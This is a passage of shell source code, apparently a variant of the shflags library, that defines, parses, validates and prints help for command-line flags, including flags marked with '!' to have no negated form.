(${_flags_short_}) already defined" _flags_warn "${flags_error}" _flags_return_=${FLAGS_FALSE} fi fi # handle default value. note, on several occasions the 'if' portion of an # if/then/else contains just a ':' which does nothing. a binary reversal via # '!' is not done because it does not work on all shells. if [ ${_flags_return_} -eq ${FLAGS_TRUE} ]; then _flags_isNegate_=${FLAGS_FALSE} case ${_flags_type_} in ${__FLAGS_TYPE_BOOLEAN}) if _flags_validBool "${_flags_default_}"; then case ${_flags_default_} in true|t|0) _flags_default_=${FLAGS_TRUE} ;; false|f|1) _flags_default_=${FLAGS_FALSE} ;; esac _flags_isNegate ${_flags_name_} _flags_isNegate_=$? else flags_error="invalid default flag value '${_flags_default_}'" _flags_return_=${FLAGS_ERROR} fi ;; ${__FLAGS_TYPE_FLOAT}) if _flags_validFloat "${_flags_default_}"; then : else flags_error="invalid default flag value '${_flags_default_}'" _flags_return_=${FLAGS_ERROR} fi ;; ${__FLAGS_TYPE_INTEGER}) if _flags_validInt "${_flags_default_}"; then : else flags_error="invalid default flag value '${_flags_default_}'" _flags_return_=${FLAGS_ERROR} fi ;; ${__FLAGS_TYPE_STRING}) ;; # everything in shell is a valid string *) flags_error="unrecognized flag type '${_flags_type_}'" _flags_return_=${FLAGS_ERROR} ;; esac fi if [ ${_flags_return_} -eq ${FLAGS_TRUE} ]; then # store flag information eval "FLAGS_${_flags_usName_}='${_flags_default_}'" eval "__flags_${_flags_usName_}_${__FLAGS_INFO_TYPE}=${_flags_type_}" eval "__flags_${_flags_usName_}_${__FLAGS_INFO_DEFAULT}=\ \"${_flags_default_}\"" eval "__flags_${_flags_usName_}_${__FLAGS_INFO_HELP}=\"${_flags_help_}\"" eval "__flags_${_flags_usName_}_${__FLAGS_INFO_SHORT}='${_flags_short_}'" # append flag names to name lists __flags_shortNames="${__flags_shortNames}${_flags_short_} " __flags_longNames="${__flags_longNames}`_flags_removeExclamationName ${_flags_name_}` " if [ ${_flags_type_} -eq ${__FLAGS_TYPE_BOOLEAN} \ -a ${_flags_isNegate_} -eq ${FLAGS_TRUE} ]; then __flags_boolNames="${__flags_boolNames}no${_flags_name_} " fi # append flag names to defined names for later validation checks __flags_definedNames="${__flags_definedNames}${_flags_usName_} " if [ ${_flags_type_} -eq ${__FLAGS_TYPE_BOOLEAN} ]; then if [ ${_flags_isNegate_} -eq ${FLAGS_TRUE} ]; then __flags_definedNames="${__flags_definedNames}no${_flags_usName_} " fi fi # append flag names to nonegateNames names for later validation checks __flags_definedNames="${__flags_definedNames}${_flags_usName_} " if [ ${_flags_type_} -eq ${__FLAGS_TYPE_BOOLEAN} ]; then if [ ${_flags_isNegate_} -eq ${FLAGS_FALSE} ]; then __flags_nonegateNames="${__flags_nonegateNames}`_flags_removeExclamationName ${_flags_name_}` " fi fi fi flags_return=${_flags_return_} unset _flags_default_ _flags_help_ _flags_name_ _flags_return_ \ _flags_short_ _flags_type_ _flags_usName_ _flags_isNegate_ [ ${flags_return} -eq ${FLAGS_ERROR} ] && _flags_error "${flags_error}" return ${flags_return} } # Underscore a flag name by replacing dashes with underscores. # # Args: # unnamed: string: log flag name # Output: # string: underscored name _flags_underscoreName() { echo $1 |tr '-' '_' } # Strip potential exclamation mark # # Args: # unnamed: string: log flag name # Output: # string: exclamation stripped from name _flags_removeExclamationName() { _flags_opt_=$1 if _flags_isNegate "${_flags_opt_}"; then echo ${_flags_opt_} else if _flags_useBuiltin; then echo ${_flags_opt_%!*} else echo ${_flags_opt_}|sed 's/!$//' fi fi unset _flags_opt_ return ${FLAGS_TRUE} } # Check if a flag ends in an exclamation mark, # if it does, there will not be a negate option # Args: # unnamed: string: flag name # return: # boolean _flags_isNegate() { case $1 in *!) flags_return=${FLAGS_FALSE} ;; *) flags_return=${FLAGS_TRUE} ;; esac return ${flags_return} } # Return valid getopt options using currently defined list of long options. # # This function builds a proper getopt option string for short (and long) # options, using the current list of long options for reference. # # Args: # _flags_optStr: integer: option string type (__FLAGS_OPTSTR_*) # Output: # string: generated option string for getopt # Returns: # boolean: success of operation (always returns True) _flags_genOptStr() { _flags_optStrType_=$1 _flags_opts_='' for _flags_name_ in ${__flags_longNames}; do _flags_usName_=`_flags_removeExclamationName ${_flags_name_}` _flags_usName_=`_flags_underscoreName ${_flags_usName_}` _flags_type_=`_flags_getFlagInfo ${_flags_usName_} ${__FLAGS_INFO_TYPE}` [ $? -eq ${FLAGS_TRUE} ] || _flags_fatal 'call to _flags_type_ failed' case ${_flags_optStrType_} in ${__FLAGS_OPTSTR_SHORT}) _flags_shortName_=`_flags_getFlagInfo \ ${_flags_usName_} ${__FLAGS_INFO_SHORT}` if [ "${_flags_shortName_}" != "${__FLAGS_NULL}" ]; then _flags_opts_="${_flags_opts_}${_flags_shortName_}" # getopt needs a trailing ':' to indicate a required argument [ ${_flags_type_} -ne ${__FLAGS_TYPE_BOOLEAN} ] && \ _flags_opts_="${_flags_opts_}:" fi ;; ${__FLAGS_OPTSTR_LONG}) _flags_opts_="${_flags_opts_:+${_flags_opts_},}`_flags_removeExclamationName ${_flags_name_}`" # getopt needs a trailing ':' to indicate a required argument [ ${_flags_type_} -ne ${__FLAGS_TYPE_BOOLEAN} ] && \ _flags_opts_="${_flags_opts_}:" ;; esac done echo "${_flags_opts_}" unset _flags_name_ _flags_opts_ _flags_optStrType_ _flags_shortName_ \ _flags_type_ _flags_usName_ return ${FLAGS_TRUE} } # Returns flag details based on a flag name and flag info. # # Args: # string: underscored flag name # string: flag info (see the _flags_define function for valid info types) # Output: # string: value of dereferenced flag variable # Returns: # integer: one of FLAGS_{TRUE|FALSE|ERROR} _flags_getFlagInfo() { # note: adding gFI to variable names to prevent naming conflicts with calling # functions _flags_gFI_usName_=$1 _flags_gFI_info_=$2 _flags_infoVar_="__flags_${_flags_gFI_usName_}_${_flags_gFI_info_}" _flags_strToEval_="_flags_infoValue_=\"\${${_flags_infoVar_}:-}\"" eval "${_flags_strToEval_}" if [ -n "${_flags_infoValue_}" ]; then flags_return=${FLAGS_TRUE} else # see if the _flags_gFI_usName_ variable is a string as strings can be # empty... # note: the DRY principle would say to have this function call itself for # the next three lines, but doing so results in an infinite loop as an # invalid _flags_name_ will also not have the associated _type variable. # Because it doesn't (it will evaluate to an empty string) the logic will # try to find the _type variable of the _type variable, and so on. Not so # good ;-) _flags_typeVar_="__flags_${_flags_gFI_usName_}_${__FLAGS_INFO_TYPE}" _flags_strToEval_="_flags_typeValue_=\"\${${_flags_typeVar_}:-}\"" eval "${_flags_strToEval_}" if [ "${_flags_typeValue_}" = "${__FLAGS_TYPE_STRING}" ]; then flags_return=${FLAGS_TRUE} else flags_return=${FLAGS_ERROR} flags_error="missing flag info variable (${_flags_infoVar_})" fi fi echo "${_flags_infoValue_}" unset _flags_gFI_usName_ _flags_gfI_info_ _flags_infoValue_ _flags_infoVar_ \ _flags_strToEval_ _flags_typeValue_ _flags_typeVar_ [ ${flags_return} -eq ${FLAGS_ERROR} ] && _flags_error "${flags_error}" return ${flags_return} } # Check for presense of item in a list. # # Passed a string (e.g. 'abc'), this function will determine if the string is # present in the list of strings (e.g. ' foo bar abc '). # # Args: # _flags_str_: string: string to search for in a list of strings # unnamed: list: list of strings # Returns: # boolean: true if item is in the list _flags_itemInList() { _flags_str_=$1 shift _flags_list_=" ${*:-} " case ${_flags_list_} in *\ ${_flags_str_}\ *) flags_return=$FLAGS_TRUE ;; *) flags_return=$FLAGS_FALSE ;; esac unset _flags_str_ _flags_list_ return ${flags_return} } # Returns the width of the current screen. # # Output: # integer: width in columns of the current screen. _flags_columns() { if [ -z "${__flags_columns}" ]; then # determine the value and store it if eval stty size >/dev/null 2>&1; then # stty size worked :-) set -- `stty size` __flags_columns=$2 elif eval tput cols >/dev/null 2>&1; then set -- `tput cols` __flags_columns=$1 else __flags_columns=80 # default terminal width fi fi echo ${__flags_columns} } # Validate a boolean. # # Args: # _flags__bool: boolean: value to validate # Returns: # bool: true if the value is a valid boolean _flags_validBool() { _flags_bool_=$1 flags_return=${FLAGS_TRUE} case "${_flags_bool_}" in true|t|0) ;; false|f|1) ;; *) flags_return=${FLAGS_FALSE} ;; esac unset _flags_bool_ return ${flags_return} } # Validate a float. # # Args: # _flags_float_: float: value to validate # Returns: # bool: true if the value is a valid integer _flags_validFloat() { flags_return=${FLAGS_FALSE} [ -n "$1" ] || return ${flags_return} _flags_float_=$1 if _flags_validInt ${_flags_float_}; then flags_return=${FLAGS_TRUE} elif _flags_useBuiltin; then _flags_float_whole_=${_flags_float_%.*} _flags_float_fraction_=${_flags_float_#*.} if _flags_validInt ${_flags_float_whole_:-0} -a \ _flags_validInt ${_flags_float_fraction_}; then flags_return=${FLAGS_TRUE} fi unset _flags_float_whole_ _flags_float_fraction_ else flags_return=${FLAGS_TRUE} case ${_flags_float_} in -*) # negative floats _flags_test_=`${FLAGS_EXPR_CMD} -- "${_flags_float_}" :\ '\(-[0-9]*\.[0-9]*\)'` ;; *) # positive floats _flags_test_=`${FLAGS_EXPR_CMD} -- "${_flags_float_}" :\ '\([0-9]*\.[0-9]*\)'` ;; esac [ "${_flags_test_}" != "${_flags_float_}" ] && flags_return=${FLAGS_FALSE} unset _flags_test_ fi unset _flags_float_ _flags_float_whole_ _flags_float_fraction_ return ${flags_return} } # Validate an integer. # # Args: # _flags_int_: integer: value to validate # Returns: # bool: true if the value is a valid integer _flags_validInt() { flags_return=${FLAGS_FALSE} [ -n "$1" ] || return ${flags_return} _flags_int_=$1 case ${_flags_int_} in -*.*) ;; # ignore negative floats (we'll invalidate them later) -*) # strip possible leading negative sign if _flags_useBuiltin; then _flags_int_=${_flags_int_#-} else _flags_int_=`${FLAGS_EXPR_CMD} -- "${_flags_int_}" : '-\([0-9][0-9]*\)'` fi ;; esac case ${_flags_int_} in *[!0-9]*) flags_return=${FLAGS_FALSE} ;; *) flags_return=${FLAGS_TRUE} ;; esac unset _flags_int_ return ${flags_return} } # Parse command-line options using the standard getopt. # # Note: the flag options are passed around in the global __flags_opts so that # the formatting is not lost due to shell parsing and such. # # Args: # @: varies: command-line options to parse # Returns: # integer: a FLAGS success condition _flags_getoptStandard() { flags_return=${FLAGS_TRUE} _flags_shortOpts_=`_flags_genOptStr ${__FLAGS_OPTSTR_SHORT}` # check for spaces in passed options for _flags_opt_ in "$@"; do # note: the silliness with the x's is purely for ksh93 on Ubuntu 6.06 _flags_match_=`echo "x${_flags_opt_}x" |sed 's/ //g'` if [ "${_flags_match_}" != "x${_flags_opt_}x" ]; then flags_error='the available getopt does not support spaces in options' flags_return=${FLAGS_ERROR} break fi done if [ ${flags_return} -eq ${FLAGS_TRUE} ]; then __flags_opts=`getopt ${_flags_shortOpts_} $@ 2>&1` _flags_rtrn_=$? if [ ${_flags_rtrn_} -ne ${FLAGS_TRUE} ]; then _flags_warn "${__flags_opts}" flags_error='unable to parse provided options with getopt.' flags_return=${FLAGS_ERROR} fi fi unset _flags_match_ _flags_opt_ _flags_rtrn_ _flags_shortOpts_ return ${flags_return} } # Parse command-line options using the enhanced getopt. # # Note: the flag options are passed around in the global __flags_opts so that # the formatting is not lost due to shell parsing and such. # # Args: # @: varies: command-line options to parse # Returns: # integer: a FLAGS success condition _flags_getoptEnhanced() { flags_return=${FLAGS_TRUE} _flags_shortOpts_=`_flags_genOptStr ${__FLAGS_OPTSTR_SHORT}` _flags_boolOpts_=`echo "${__flags_boolNames}" \ |sed 's/^ *//;s/ *$//;s/ /,/g'` _flags_longOpts_=`_flags_genOptStr ${__FLAGS_OPTSTR_LONG}` __flags_opts=`${FLAGS_GETOPT_CMD} \ -o ${_flags_shortOpts_} \ -l "${_flags_longOpts_},${_flags_boolOpts_}" \ -- "$@" 2>&1` _flags_rtrn_=$? if [ ${_flags_rtrn_} -ne ${FLAGS_TRUE} ]; then _flags_warn "${__flags_opts}" flags_error='unable to parse provided options with getopt.' flags_return=${FLAGS_ERROR} fi unset _flags_boolOpts_ _flags_longOpts_ _flags_rtrn_ _flags_shortOpts_ return ${flags_return} } # Dynamically parse a getopt result and set appropriate variables. # # This function does the actual conversion of getopt output and runs it through # the standard case structure for parsing. The case structure is actually quite # dynamic to support any number of flags. # # Args: # argc: int: original command-line argument count # @: varies: output from getopt parsing # Returns: # integer: a FLAGS success condition _flags_parseGetopt() { _flags_argc_=$1 shift flags_return=${FLAGS_TRUE} if [ ${__FLAGS_GETOPT_VERS} -ne ${__FLAGS_GETOPT_VERS_ENH} ]; then set -- $@ else # note the quotes around the `$@' -- they are essential! eval set -- "$@" fi # Provide user with the number of arguments to shift by later. # NOTE: the FLAGS_ARGC variable is obsolete as of 1.0.3 because it does not # properly give user access to non-flag arguments mixed in between flag # arguments. Its usage was replaced by FLAGS_ARGV, and it is being kept only # for backwards compatibility reasons. FLAGS_ARGC=`_flags_math "$# - 1 - ${_flags_argc_}"` # handle options. note options with values must do an additional shift while true; do _flags_opt_=$1 _flags_arg_=${2:-} _flags_type_=${__FLAGS_TYPE_NONE} _flags_name_='' # determine long flag name case "${_flags_opt_}" in --) shift; break ;; # discontinue option parsing --*) # long option if _flags_useBuiltin; then _flags_opt_=${_flags_opt_#*--} else _flags_opt_=`${FLAGS_EXPR_CMD} -- "${_flags_opt_}" : '--\(.*\)'` fi _flags_len_=${__FLAGS_LEN_LONG} if _flags_itemInList "${_flags_opt_}" ${__flags_longNames}; then _flags_name_=${_flags_opt_} else # check for negated long boolean version if _flags_itemInList "${_flags_opt_}" ${__flags_boolNames}; then if _flags_useBuiltin; then _flags_name_=${_flags_opt_#*no} else _flags_name_=`${FLAGS_EXPR_CMD} -- "${_flags_opt_}" : 'no\(.*\)'` fi _flags_type_=${__FLAGS_TYPE_BOOLEAN} _flags_arg_=${__FLAGS_NULL} fi fi ;; -*) # short option if _flags_useBuiltin; then _flags_opt_=${_flags_opt_#*-} else _flags_opt_=`${FLAGS_EXPR_CMD} -- "${_flags_opt_}" : '-\(.*\)'` fi _flags_len_=${__FLAGS_LEN_SHORT} if _flags_itemInList "${_flags_opt_}" ${__flags_shortNames}; then # yes. match short name to long name. note purposeful off-by-one # (too high) with awk calculations. _flags_pos_=`echo "${__flags_shortNames}" \ |awk 'BEGIN{RS=" ";rn=0}$0==e{rn=NR}END{print rn}' \ e=${_flags_opt_}` _flags_name_=`echo "${__flags_longNames}" \ |awk 'BEGIN{RS=" "}rn==NR{print $0}' rn="${_flags_pos_}"` fi ;; esac # die if the flag was unrecognized if [ -z "${_flags_name_}" ]; then flags_error="unrecognized option (${_flags_opt_})" flags_return=${FLAGS_ERROR} break fi # set new flag value _flags_usName_=`_flags_removeExclamationName ${_flags_name_}` _flags_usName_=`_flags_underscoreName ${_flags_usName_}` [ ${_flags_type_} -eq ${__FLAGS_TYPE_NONE} ] && \ _flags_type_=`_flags_getFlagInfo \ "${_flags_usName_}" ${__FLAGS_INFO_TYPE}` case ${_flags_type_} in ${__FLAGS_TYPE_BOOLEAN}) if [ ${_flags_len_} -eq ${__FLAGS_LEN_LONG} ]; then if [ "${_flags_arg_}" != "${__FLAGS_NULL}" ]; then eval "FLAGS_${_flags_usName_}=${FLAGS_TRUE}" else eval "FLAGS_${_flags_usName_}=${FLAGS_FALSE}" fi else _flags_strToEval_="_flags_val_=\ \${__flags_${_flags_usName_}_${__FLAGS_INFO_DEFAULT}}" eval "${_flags_strToEval_}" if [ ${_flags_val_} -eq ${FLAGS_FALSE} ]; then eval "FLAGS_${_flags_usName_}=${FLAGS_TRUE}" else eval "FLAGS_${_flags_usName_}=${FLAGS_FALSE}" fi fi ;; ${__FLAGS_TYPE_FLOAT}) if _flags_validFloat "${_flags_arg_}"; then eval "FLAGS_${_flags_usName_}='${_flags_arg_}'" else flags_error="invalid float value (${_flags_arg_})" flags_return=${FLAGS_ERROR} break fi ;; ${__FLAGS_TYPE_INTEGER}) if _flags_validInt "${_flags_arg_}"; then eval "FLAGS_${_flags_usName_}='${_flags_arg_}'" else flags_error="invalid integer value (${_flags_arg_})" flags_return=${FLAGS_ERROR} break fi ;; ${__FLAGS_TYPE_STRING}) eval "FLAGS_${_flags_usName_}='${_flags_arg_}'" ;; esac # handle special case help flag if [ "${_flags_usName_}" = 'help' ]; then if [ ${FLAGS_help} -eq ${FLAGS_TRUE} ]; then flags_help flags_error='help requested' flags_return=${FLAGS_TRUE} break fi fi # shift the option and non-boolean arguements out. shift [ ${_flags_type_} != ${__FLAGS_TYPE_BOOLEAN} ] && shift done # give user back non-flag arguments FLAGS_ARGV='' while [ $# -gt 0 ]; do FLAGS_ARGV="${FLAGS_ARGV:+${FLAGS_ARGV} }'$1'" shift done unset _flags_arg_ _flags_len_ _flags_name_ _flags_opt_ _flags_pos_ \ _flags_strToEval_ _flags_type_ _flags_usName_ _flags_val_ \ _flags_argc_ return ${flags_return} } # Perform some path using built-ins. # # Args: # $@: string: math expression to evaluate # Output: # integer: the result # Returns: # bool: success of math evaluation _flags_math() { if [ $# -eq 0 ]; then flags_return=${FLAGS_FALSE} elif _flags_useBuiltin; then # Variable assignment is needed as workaround for Solaris Bourne shell, # which cannot parse a bare $((expression)). _flags_expr_='$(($@))' eval echo ${_flags_expr_} flags_return=$? unset _flags_expr_ else eval expr $@ flags_return=$? fi return ${flags_return} } # Cross-platform strlen() implementation. # # Args: # _flags_str: string: to determine length of # Output: # integer: length of string # Returns: # bool: success of strlen evaluation _flags_strlen() { _flags_str_=${1:-} if [ -z "${_flags_str_}" ]; then flags_output=0 elif _flags_useBuiltin; then flags_output=${#_flags_str_} else flags_output=`${FLAGS_EXPR_CMD} -- "${_flags_str_}" : '.*'` fi flags_return=$? unset _flags_str_ echo ${flags_output} return ${flags_return} } # Use built-in helper function to enable unit testing. # # Args: # None # Returns: # bool: true if built-ins should be used _flags_useBuiltin() { return ${__FLAGS_USE_BUILTIN} } #------------------------------------------------------------------------------ # public functions # # A basic boolean flag. Boolean flags do not take any arguments, and their # value is either 1 (false) or 0 (true). For long flags, the false value is # specified on the command line by prepending the word 'no'. With short flags, # the presense of the flag toggles the current value between true and false. # Specifying a short boolean flag twice on the command results in returning the # value back to the default value. # # A default value is required for boolean flags. # # For example, lets say a Boolean flag was created whose long name was 'update' # and whose short name was 'x', and the default value was 'false'. This flag # could be explicitly set to 'true' with '--update' or by '-x', and it could be # explicitly set to 'false' with '--noupdate'. DEFINE_boolean() { _flags_define ${__FLAGS_TYPE_BOOLEAN} "$@"; } # Other basic flags. DEFINE_float() { _flags_define ${__FLAGS_TYPE_FLOAT} "$@"; } DEFINE_integer() { _flags_define ${__FLAGS_TYPE_INTEGER} "$@"; } DEFINE_string() { _flags_define ${__FLAGS_TYPE_STRING} "$@"; } # Parse the flags. # # Args: # unnamed: list: command-line flags to parse # Returns: # integer: success of operation, or error FLAGS() { # define a standard 'help' flag if one isn't already defined [ -z "${__flags_help_type:-}" ] && \ DEFINE_boolean 'help!' false 'show this help' 'h' # parse options if [ $# -gt 0 ]; then if [ ${__FLAGS_GETOPT_VERS} -ne ${__FLAGS_GETOPT_VERS_ENH} ]; then _flags_getoptStandard "$@" else _flags_getoptEnhanced "$@" fi flags_return=$? else # nothing passed; won't bother running getopt __flags_opts='--' flags_return=${FLAGS_TRUE} fi if [ ${flags_return} -eq ${FLAGS_TRUE} ]; then _flags_parseGetopt $# "${__flags_opts}" flags_return=$? fi [ ${flags_return} -eq ${FLAGS_ERROR} ] && _flags_fatal "${flags_error}" return ${flags_return} } # This is a helper function for determining the 'getopt' version for platforms # where the detection isn't working. It simply outputs debug information that # can be included in a bug report. # # Args: # none # Output: # debug info that can be included in a bug report # Returns: # nothing flags_getoptInfo() { # platform info _flags_debug "uname -a: `uname -a`" _flags_debug "PATH: ${PATH}" # shell info if [ -n "${BASH_VERSION:-}" ]; then _flags_debug 'shell: bash' _flags_debug "BASH_VERSION: ${BASH_VERSION}" elif [ -n "${ZSH_VERSION:-}" ]; then _flags_debug 'shell: zsh' _flags_debug "ZSH_VERSION: ${ZSH_VERSION}" fi # getopt info ${FLAGS_GETOPT_CMD} >/dev/null _flags_getoptReturn=$? _flags_debug "getopt return: ${_flags_getoptReturn}" _flags_debug "getopt --version: `${FLAGS_GETOPT_CMD} --version 2>&1`" unset _flags_getoptReturn } # Returns whether the detected getopt version is the enhanced version. # # Args: # none # Output: # none # Returns: # bool: true if getopt is the enhanced version flags_getoptIsEnh() { test ${__FLAGS_GETOPT_VERS} -eq ${__FLAGS_GETOPT_VERS_ENH} } # Returns whether the detected getopt version is the standard version. # # Args: # none # Returns: # bool: true if getopt is the standard version flags_getoptIsStd() { test ${__FLAGS_GETOPT_VERS} -eq ${__FLAGS_GETOPT_VERS_STD} } # This is effectively a 'usage()' function. It prints usage information and # exits the program with ${FLAGS_FALSE} if it is ever found in the command line # arguments. Note this function can be overridden so other apps can define # their own --help flag, replacing this one, if they want. # # Args: # none # Returns: # integer: success of operation (always returns true) flags_help() { if [ -n "${FLAGS_HELP:-}" ]; then echo "${FLAGS_HELP}" >&2 else echo "USAGE: ${FLAGS_PARENT:-$0} [flags] args" >&2 fi if [ -n "${__flags_longNames}" ]; then echo 'flags:' >&2 for flags_name_ in ${__flags_longNames}; do flags_flagStr_='' flags_boolStr_='' flags_usName_=`_flags_underscoreName ${flags_name_}` flags_default_=`_flags_getFlagInfo \ "${flags_usName_}" ${__FLAGS_INFO_DEFAULT}` flags_help_=`_flags_getFlagInfo \ "${flags_usName_}" ${__FLAGS_INFO_HELP}` flags_short_=`_flags_getFlagInfo \ "${flags_usName_}" ${__FLAGS_INFO_SHORT}` flags_type_=`_flags_getFlagInfo \ "${flags_usName_}" ${__FLAGS_INFO_TYPE}` [ "${flags_short_}" != "${__FLAGS_NULL}" ] && \ flags_flagStr_="-${flags_short_}" if [ ${__FLAGS_GETOPT_VERS} -eq ${__FLAGS_GETOPT_VERS_ENH} ]; then [ "${flags_short_}" != "${__FLAGS_NULL}" ] && \ flags_flagStr_="${flags_flagStr_}," # add [no] to long boolean flag names, except the 'help' flag if [ ${flags_type_} -eq ${__FLAGS_TYPE_BOOLEAN} ]; then _flags_itemInList "${flags_name_}" ${__flags_nonegateNames} if [ $? -eq ${FLAGS_FALSE} ]; then flags_boolStr_='[no]' fi fi flags_flagStr_="${flags_flagStr_}--${flags_boolStr_}${flags_name_}:" fi case ${flags_type_} in ${__FLAGS_TYPE_BOOLEAN}) if [ ${flags_default_} -eq ${FLAGS_TRUE} ]; then flags_defaultStr_='true' else flags_defaultStr_='false' fi ;; ${__FLAGS_TYPE_FLOAT}|${__FLAGS_TYPE_INTEGER}) flags_defaultStr_=${flags_default_} ;; ${__FLAGS_TYPE_STRING}) flags_defaultStr_="'${flags_default_}'" ;; esac flags_defaultStr_="(default: ${flags_defaultStr_})" flags_helpStr_=" ${flags_flagStr_} ${flags_help_} ${flags_defaultStr_}" _flags_strlen "${flags_helpStr_}" >/dev/null flags_helpStrLen_=${flags_output} flags_columns_=`_flags_columns` if [ ${flags_helpStrLen_} -lt ${flags_columns_} ]; then echo "${flags_helpStr_}" >&2 else echo " ${flags_flagStr_} ${flags_help_}" >&2 # note: the silliness with the x's is purely for ksh93 on Ubuntu 6.06 # because it doesn't like empty strings when used in this manner. flags_emptyStr_="`echo \"x${flags_flagStr_}x\" \ |awk '{printf "%"length($0)-2"s", ""}'`" flags_helpStr_=" ${flags_emptyStr_} ${flags_defaultStr_}" _flags_strlen "${flags_helpStr_}" >/dev/null flags_helpStrLen_=${flags_output} if [ ${__FLAGS_GETOPT_VERS} -eq ${__FLAGS_GETOPT_VERS_STD} \ -o ${flags_helpStrLen_} -lt ${flags_columns_} ]; then # indented to match help string echo "${flags_helpStr_}" >&2 else # indented four from left to allow for longer defaults as long flag # names might be used too, making things too long echo " ${flags_defaultStr_}" >&2 fi fi done fi unset flags_boolStr_ flags_default_ flags_defaultStr_ flags_emptyStr_ \ flags_flagStr_ flags_help_ flags_helpStr flags_helpStrLen flags_name_ \ flags_columns_ flags_short_ flags_type_ flags_usName_ return ${FLAGS_TRUE} } # Reset shflags back to an uninitialized state. # # Args: # none # Returns: # nothing flags_reset() { for flags_name_ in ${__flags_longNames}; do flags_usName_=`_flags_removeExclamationName ${flags_name_}` flags_usName_=`_flags_underscoreName ${flags_usName_}` flags_strToEval_="unset FLAGS_${flags_usName_}" for flags_type_ in \ ${__FLAGS_INFO_DEFAULT} \ ${__FLAGS_INFO_HELP} \ ${__FLAGS_INFO_SHORT} \ ${__FLAGS_INFO_TYPE} do flags_strToEval_=\ "${flags_strToEval_} __flags_${flags_usName_}_${flags_type_}" done eval ${flags_strToEval_} done # reset internal variables __flags_boolNames=' ' __flags_longNames=' ' __flags_shortNames=' ' __flags_definedNames=' ' unset flags_name_ flags_type_ flags_strToEval_ flags_usName_ }
Close